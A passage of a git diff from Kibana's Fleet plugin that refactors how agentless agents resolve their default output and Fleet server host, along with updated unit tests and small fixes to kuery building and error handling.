a/x-pack/platform/plugins/shared/fleet/server/services/agentless_settings_ids.ts b/x-pack/platform/plugins/shared/fleet/server/services/agentless_settings_ids.ts index bce8af0801248..e13005f18f11f 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/agentless_settings_ids.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/agentless_settings_ids.ts @@ -9,37 +9,21 @@ import type { ElasticsearchClient } from '@kbn/core/server'; import pMap from 'p-map'; -import { - MAX_CONCURRENT_AGENT_POLICIES_OPERATIONS, - SO_SEARCH_LIMIT, - DEFAULT_OUTPUT_ID, - SERVERLESS_DEFAULT_OUTPUT_ID, - DEFAULT_FLEET_SERVER_HOST_ID, - SERVERLESS_DEFAULT_FLEET_SERVER_HOST_ID, -} from '../constants'; +import { MAX_CONCURRENT_AGENT_POLICIES_OPERATIONS, SO_SEARCH_LIMIT } from '../constants'; import type { AgentPolicySOAttributes } from '../types'; import { getAgentPolicySavedObjectType, agentPolicyService } from './agent_policy'; +import { agentlessAgentService } from './agents/agentless_agent'; import { fleetServerHostService } from './fleet_server_host'; import { outputService } from './output'; import { appContextService } from '.'; export async function ensureCorrectAgentlessSettingsIds(esClient: ElasticsearchClient) { - const cloudSetup = appContextService.getCloud(); - const isCloud = cloudSetup?.isCloudEnabled; - const isServerless = cloudSetup?.isServerlessEnabled; - const correctOutputId = isServerless - ? SERVERLESS_DEFAULT_OUTPUT_ID - : isCloud - ? DEFAULT_OUTPUT_ID - : undefined; - const correctFleetServerId = isServerless - ? SERVERLESS_DEFAULT_FLEET_SERVER_HOST_ID - : isCloud - ? DEFAULT_FLEET_SERVER_HOST_ID - : undefined; + const { outputId: correctOutputId, fleetServerId: correctFleetServerId } = + agentlessAgentService.getDefaultSettings(); + let fixOutput = false; let fixFleetServer = false; diff --git a/x-pack/platform/plugins/shared/fleet/server/services/agents/action_runner.ts b/x-pack/platform/plugins/shared/fleet/server/services/agents/action_runner.ts index d23c7eefecb9e..1f8fe78792ec0 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/agents/action_runner.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/agents/action_runner.ts @@ -221,9 +221,11 @@ export abstract class ActionRunner { const getAgents = async () => { const namespaceFilter = await agentsKueryNamespaceFilter(this.actionParams.spaceId); - const kuery = namespaceFilter - ? `${namespaceFilter} AND ${this.actionParams.kuery}` - : this.actionParams.kuery; + + const kuery = [ + ...(namespaceFilter ? [namespaceFilter] : []), + ...(this.actionParams.kuery ? [this.actionParams.kuery] : []), + ].join(' AND '); return getAgentsByKuery(this.esClient, this.soClient, { kuery, diff --git a/x-pack/platform/plugins/shared/fleet/server/services/agents/agentless_agent.test.ts b/x-pack/platform/plugins/shared/fleet/server/services/agents/agentless_agent.test.ts index 2d99cba7eded5..13b685a938cf1 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/agents/agentless_agent.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/agents/agentless_agent.test.ts @@ -94,7 +94,7 @@ describe('Agentless Agent service', () => { mockedAppContextService.getExperimentalFeatures.mockReturnValue({ agentless: false } as any); (axios as jest.MockedFunction).mockReset(); jest.spyOn(agentPolicyService, 'getFullAgentPolicy').mockResolvedValue({ - outputs: { agentless: {} as any }, + outputs: { default: {} as any }, } as any); jest.clearAllMocks(); }); @@ -131,16 +131,12 @@ describe('Agentless Agent service', () => { jest .spyOn(appContextService, 'getKibanaVersion') .mockReturnValue('mocked-kibana-version-infinite'); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ items: [ @@ -159,6 +155,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, global_data_tags: [ { @@ -198,7 +196,7 @@ describe('Agentless Agent service', () => { elasticsearch_app_token: 'es-app-token', }, policy_details: { - output_name: 'agentless', + output_name: 'default', }, }), headers: expect.anything(), @@ -239,16 +237,12 @@ describe('Agentless Agent service', () => { jest .spyOn(appContextService, 'getKibanaVersion') .mockReturnValue('mocked-kibana-version-infinite'); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ items: [ @@ -267,6 +261,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, global_data_tags: [ { @@ -305,7 +301,7 @@ describe('Agentless Agent service', () => { elasticsearch_app_token: 'es-app-token', }, policy_details: { - output_name: 'agentless', + output_name: 'default', }, }), headers: expect.anything(), @@ -346,16 +342,12 @@ describe('Agentless Agent service', () => { jest .spyOn(appContextService, 'getKibanaVersion') .mockReturnValue('mocked-kibana-version-infinite'); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ items: [ @@ -374,6 +366,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, agentless: { resources: { @@ -426,7 +420,7 @@ describe('Agentless Agent service', () => { elasticsearch_app_token: 'es-app-token', }, policy_details: { - output_name: 'agentless', + output_name: 'default', }, }), headers: expect.anything(), @@ -467,16 +461,12 @@ describe('Agentless Agent service', () => { jest .spyOn(appContextService, 'getKibanaVersion') .mockReturnValue('mocked-kibana-version-infinite'); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ items: [ @@ -495,6 +485,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, agentless: { resources: { @@ -555,7 +547,7 @@ describe('Agentless Agent service', () => { elasticsearch_app_token: 'es-app-token', }, policy_details: { - output_name: 'agentless', + output_name: 'default', }, }), headers: expect.anything(), @@ -594,16 +586,12 @@ describe('Agentless Agent service', () => { jest .spyOn(appContextService, 'getKibanaVersion') .mockReturnValue('mocked-kibana-version-infinite'); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ items: [ @@ -622,6 +610,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy ); @@ -798,16 +788,12 @@ describe('Agentless Agent service', () => { .spyOn(appContextService, 'getKibanaVersion') .mockReturnValue('mocked-kibana-version-infinite'); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ @@ -824,6 +810,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy); @@ -856,16 +844,12 @@ describe('Agentless Agent service', () => { .spyOn(appContextService, 'getKibanaVersion') .mockReturnValue('mocked-kibana-version-infinite'); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ @@ -883,6 +867,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy) ).rejects.toThrowError(); @@ -916,16 +902,12 @@ describe('Agentless Agent service', () => { } as any); jest.spyOn(appContextService, 'getCloud').mockReturnValue({ isCloudEnabled: true } as any); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ @@ -947,6 +929,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy) ).rejects.toThrowError(); @@ -986,16 +970,12 @@ describe('Agentless Agent service', () => { jest .spyOn(appContextService, 'getKibanaVersion') .mockReturnValue('mocked-kibana-version-infinite'); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ items: [ @@ -1011,6 +991,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy); @@ -1052,6 +1034,8 @@ describe('Agentless Agent service', () => { id: 'mocked', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: false, } as AgentPolicy) ).rejects.toThrowError( @@ -1089,6 +1073,8 @@ describe('Agentless Agent service', () => { id: 'mocked', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy) ).rejects.toThrowError( @@ -1110,6 +1096,8 @@ describe('Agentless Agent service', () => { id: 'mocked', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy) ).rejects.toThrowError( @@ -1138,7 +1126,7 @@ describe('Agentless Agent service', () => { }, } as any); jest.spyOn(appContextService, 'getCloud').mockReturnValue({ isCloudEnabled: true } as any); - mockedFleetServerHostService.list.mockResolvedValue({ items: [] } as any); + mockedFleetServerHostService.get.mockRejectedValue(new Error('NOT FOUND')); mockedListEnrollmentApiKeys.mockResolvedValue({ items: [ { @@ -1154,6 +1142,8 @@ describe('Agentless Agent service', () => { id: 'mocked', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-invalid-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy) ).rejects.toThrowError(new AgentlessAgentConfigError('missing default Fleet server host')); @@ -1180,15 +1170,11 @@ describe('Agentless Agent service', () => { }, } as any); jest.spyOn(appContextService, 'getCloud').mockReturnValue({ isCloudEnabled: true } as any); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked', + host: 'http://fleetserver:8220', + active: true, + is_default: true, } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ items: [], @@ -1199,23 +1185,25 @@ describe('Agentless Agent service', () => { id: 'mocked', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy) ).rejects.toThrowError(new AgentlessAgentConfigError('missing Fleet enrollment token')); }); - it('should throw an error and log and error when the Agentless API returns a status not handled and not in the 2xx series', async () => { + it('should throw AgentlessAgentConfigError if agent policy is missing fleet_server_host_id', async () => { const soClient = getAgentPolicyCreateMock(); + // ignore unrelated unique name constraint const esClient = elasticsearchServiceMock.createClusterClient().asInternalUser; jest.spyOn(appContextService, 'getConfig').mockReturnValue({ agentless: { enabled: true, api: { - url: 'http://api.agentless.com', + url: 'http://api.agentless.com/api/v1/ess', tls: { certificate: '/path/to/cert', key: '/path/to/key', - ca: '/path/to/ca', }, }, deploymentSecrets: { @@ -1225,17 +1213,55 @@ describe('Agentless Agent service', () => { }, } as any); jest.spyOn(appContextService, 'getCloud').mockReturnValue({ isCloudEnabled: true } as any); - mockedFleetServerHostService.list.mockResolvedValue({ + mockedListEnrollmentApiKeys.mockResolvedValue({ items: [ { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], + id: 'mocked', + policy_id: 'mocked', + api_key: 'mocked', }, ], } as any); + + await expect( + agentlessAgentService.createAgentlessAgent(esClient, soClient, { + id: 'mocked', + name: 'agentless agent policy', + namespace: 'default', + data_output_id: 'mock-fleet-default-output', + supports_agentless: true, + } as AgentPolicy) + ).rejects.toThrowError(new AgentlessAgentConfigError('missing fleet_server_host_id')); + }); + + it('should throw an error and log and error when the Agentless API returns a status not handled and not in the 2xx series', async () => { + const soClient = getAgentPolicyCreateMock(); + const esClient = elasticsearchServiceMock.createClusterClient().asInternalUser; + jest.spyOn(appContextService, 'getConfig').mockReturnValue({ + agentless: { + enabled: true, + api: { + url: 'http://api.agentless.com', + tls: { + certificate: '/path/to/cert', + key: '/path/to/key', + ca: '/path/to/ca', + }, + }, + deploymentSecrets: { + fleetAppToken: 'fleet-app-token', + elasticsearchAppToken: 'es-app-token', + }, + }, + } as any); + jest.spyOn(appContextService, 'getCloud').mockReturnValue({ isCloudEnabled: true } as any); + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], + } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ items: [ { @@ -1260,6 +1286,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy) ).rejects.toThrowError(); @@ -1289,16 +1317,12 @@ describe('Agentless Agent service', () => { }, } as any); jest.spyOn(appContextService, 'getCloud').mockReturnValue({ isCloudEnabled: true } as any); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ items: [ @@ -1324,6 +1348,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy) ).rejects.toThrowError(); @@ -1353,16 +1379,12 @@ describe('Agentless Agent service', () => { }, } as any); jest.spyOn(appContextService, 'getCloud').mockReturnValue({ isCloudEnabled: true } as any); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ items: [ @@ -1388,6 +1410,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy) ).rejects.toThrowError(); @@ -1417,16 +1441,12 @@ describe('Agentless Agent service', () => { }, } as any); jest.spyOn(appContextService, 'getCloud').mockReturnValue({ isCloudEnabled: true } as any); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ items: [ @@ -1452,6 +1472,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy) ).rejects.toThrowError(); @@ -1481,16 +1503,12 @@ describe('Agentless Agent service', () => { }, } as any); jest.spyOn(appContextService, 'getCloud').mockReturnValue({ isCloudEnabled: true } as any); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ items: [ @@ -1516,6 +1534,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy) ).rejects.toThrowError(); @@ -1545,16 +1565,12 @@ describe('Agentless Agent service', () => { }, } as any); jest.spyOn(appContextService, 'getCloud').mockReturnValue({ isCloudEnabled: true } as any); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ items: [ @@ -1580,6 +1596,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy) ).rejects.toThrowError(); @@ -1609,16 +1627,12 @@ describe('Agentless Agent service', () => { }, } as any); jest.spyOn(appContextService, 'getCloud').mockReturnValue({ isCloudEnabled: true } as any); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ items: [ @@ -1644,6 +1658,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy) ).rejects.toThrowError(); @@ -1673,16 +1689,12 @@ describe('Agentless Agent service', () => { }, } as any); jest.spyOn(appContextService, 'getCloud').mockReturnValue({ isCloudEnabled: true } as any); - mockedFleetServerHostService.list.mockResolvedValue({ - items: [ - { - id: 'mocked-fleet-server-id', - host: 'http://fleetserver:8220', - active: true, - is_default: true, - host_urls: ['http://fleetserver:8220'], - }, - ], + mockedFleetServerHostService.get.mockResolvedValue({ + id: 'mocked-fleet-server-id', + host: 'http://fleetserver:8220', + active: true, + is_default: true, + host_urls: ['http://fleetserver:8220'], } as any); mockedListEnrollmentApiKeys.mockResolvedValue({ items: [ @@ -1708,6 +1720,8 @@ describe('Agentless Agent service', () => { id: 'mocked-agentless-agent-policy-id', name: 'agentless agent policy', namespace: 'default', + fleet_server_host_id: 'mock-fleet-default-fleet-server-host', + data_output_id: 'mock-fleet-default-output', supports_agentless: true, } as AgentPolicy) ).rejects.toThrowError(); diff --git a/x-pack/platform/plugins/shared/fleet/server/services/agents/agentless_agent.ts b/x-pack/platform/plugins/shared/fleet/server/services/agents/agentless_agent.ts index c7c0e37207800..9ec3892ef8646 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/agents/agentless_agent.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/agents/agentless_agent.ts @@ -19,7 +19,7 @@ import apm from 'elastic-apm-node'; import { AgentlessAgentCreateOverProvisionedError } from '../../../common/errors'; import { SO_SEARCH_LIMIT } from '../../constants'; import type { AgentPolicy } from '../../types'; -import type { AgentlessApiDeploymentResponse } from '../../../common/types'; +import type { AgentlessApiDeploymentResponse, FleetServerHost } from '../../../common/types'; import { AgentlessAgentConfigError, AgentlessAgentCreateError, @@ -30,6 +30,10 @@ import { AGENTLESS_GLOBAL_TAG_NAME_ORGANIZATION, AGENTLESS_GLOBAL_TAG_NAME_DIVISION, AGENTLESS_GLOBAL_TAG_NAME_TEAM, + DEFAULT_OUTPUT_ID, + SERVERLESS_DEFAULT_OUTPUT_ID, + DEFAULT_FLEET_SERVER_HOST_ID, + SERVERLESS_DEFAULT_FLEET_SERVER_HOST_ID, } from '../../constants'; import { appContextService } from '../app_context'; @@ -56,6 +60,27 @@ interface AgentlessAgentErrorHandlingMessages { } class AgentlessAgentService { + public getDefaultSettings() { + const cloudSetup = appContextService.getCloud(); + const isCloud = cloudSetup?.isCloudEnabled; + const isServerless = cloudSetup?.isServerlessEnabled; + const outputId = isServerless + ? SERVERLESS_DEFAULT_OUTPUT_ID + : isCloud + ? DEFAULT_OUTPUT_ID + : undefined; + const fleetServerId = isServerless + ? SERVERLESS_DEFAULT_FLEET_SERVER_HOST_ID + : isCloud + ? DEFAULT_FLEET_SERVER_HOST_ID + : undefined; + + return { + outputId, + fleetServerId, + }; + } + public async createAgentlessAgent( esClient: ElasticsearchClient, soClient: SavedObjectsClientContract, @@ -92,10 +117,9 @@ class AgentlessAgentService { ); } - const policyId = agentlessAgentPolicy.id; const { fleetUrl, fleetToken } = await this.getFleetUrlAndTokenForAgentlessAgent( esClient, - policyId, + agentlessAgentPolicy, soClient ); @@ -105,7 +129,7 @@ class AgentlessAgentService { if (agentlessAgentPolicy.agentless?.cloud_connectors?.enabled) { logger.debug( - `[Agentless API] Creating agentless agent with ${agentlessAgentPolicy.agentless?.cloud_connectors?.target_csp} cloud connector enabled for agentless policy ${policyId}` + `[Agentless API] Creating agentless agent with ${agentlessAgentPolicy.agentless?.cloud_connectors?.target_csp} cloud connector enabled for agentless policy ${agentlessAgentPolicy.id}` ); } @@ -123,7 +147,7 @@ class AgentlessAgentService { const requestConfig: AxiosRequestConfig = { url: prependAgentlessApiBasePathToEndpoint(agentlessConfig, '/deployments'), data: { - policy_id: policyId, + policy_id: agentlessAgentPolicy.id, fleet_url: fleetUrl, fleet_token: fleetToken, resources: agentlessAgentPolicy.agentless?.resources, @@ -370,27 +394,31 @@ class AgentlessAgentService { private async getFleetUrlAndTokenForAgentlessAgent( esClient: ElasticsearchClient, - policyId: string, + policy: AgentPolicy, soClient: SavedObjectsClientContract ) { const { items: enrollmentApiKeys } = await listEnrollmentApiKeys(esClient, { perPage: SO_SEARCH_LIMIT, showInactive: true, - kuery: `policy_id:"${policyId}"`, + kuery: `policy_id:"${policy.id}"`, }); - const { items: fleetHosts } = await fleetServerHostService.list(soClient); - // Tech Debt: change this when we add the internal fleet server config to use the internal fleet server host - // https://github.com/elastic/security-team/issues/9695 - const defaultFleetHost = - fleetHosts.length === 1 ? fleetHosts[0] : fleetHosts.find((host) => host.is_default); - - if (!defaultFleetHost) { - throw new AgentlessAgentConfigError('missing default Fleet server host'); - } if (!enrollmentApiKeys.length) { throw new AgentlessAgentConfigError('missing Fleet enrollment token'); } + + if (!policy.fleet_server_host_id) { + throw new AgentlessAgentConfigError('missing fleet_server_host_id'); + } + + let defaultFleetHost: FleetServerHost; + + try { + defaultFleetHost = await fleetServerHostService.get(soClient, policy.fleet_server_host_id); + } catch (e) { + throw new AgentlessAgentConfigError('missing default Fleet server host'); + } + const fleetToken = enrollmentApiKeys[0].api_key; const fleetUrl = defaultFleetHost?.host_urls[0]; return { fleetUrl, fleetToken }; diff --git a/x-pack/platform/plugins/shared/fleet/server/services/agents/request_diagnostics.ts b/x-pack/platform/plugins/shared/fleet/server/services/agents/request_diagnostics.ts index d78c4b191de75..8cf714465819b 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/agents/request_diagnostics.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/agents/request_diagnostics.ts @@ -13,8 +13,6 @@ import { SO_SEARCH_LIMIT, REQUEST_DIAGNOSTICS_TIMEOUT_MS } from '../../constants import { getCurrentNamespace } from '../spaces/get_current_namespace'; -import { agentsKueryNamespaceFilter } from '../spaces/agent_namespaces'; - import type { GetAgentsOptions } from '.'; import { getAgents, getAgentsByKuery } from './crud'; import { createAgentAction } from './actions'; @@ -64,10 +62,10 @@ export async function bulkRequestDiagnostics( } const batchSize = options.batchSize ?? SO_SEARCH_LIMIT; - const namespaceFilter = await agentsKueryNamespaceFilter(currentSpaceId); - const kuery = namespaceFilter ? `${namespaceFilter} AND ${options.kuery}` : options.kuery; + const res = await getAgentsByKuery(esClient, soClient, { - kuery, + kuery: options.kuery, + spaceId: currentSpaceId, showInactive: false, page: 1, perPage: batchSize, diff --git a/x-pack/platform/plugins/shared/fleet/server/services/agents/update_agent_tags_action_runner.ts b/x-pack/platform/plugins/shared/fleet/server/services/agents/update_agent_tags_action_runner.ts index 309aa80f4d8c2..a12e2dcddb05e 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/agents/update_agent_tags_action_runner.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/agents/update_agent_tags_action_runner.ts @@ -196,7 +196,7 @@ export async function updateTagsBatch( agentId: failure.id, actionId, namespace: spaceId, - error: failure.cause.reason, + error: failure.cause.reason ?? undefined, // reason can be null and we want to replace it with undefined })) ); appContextService.getLogger().debug(`action failed result wrote on ${failureCount} agents`); diff --git a/x-pack/platform/plugins/shared/fleet/server/services/artifacts/artifacts.ts b/x-pack/platform/plugins/shared/fleet/server/services/artifacts/artifacts.ts index 936e47a486884..f12ceefa5b5c6 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/artifacts/artifacts.ts +++ 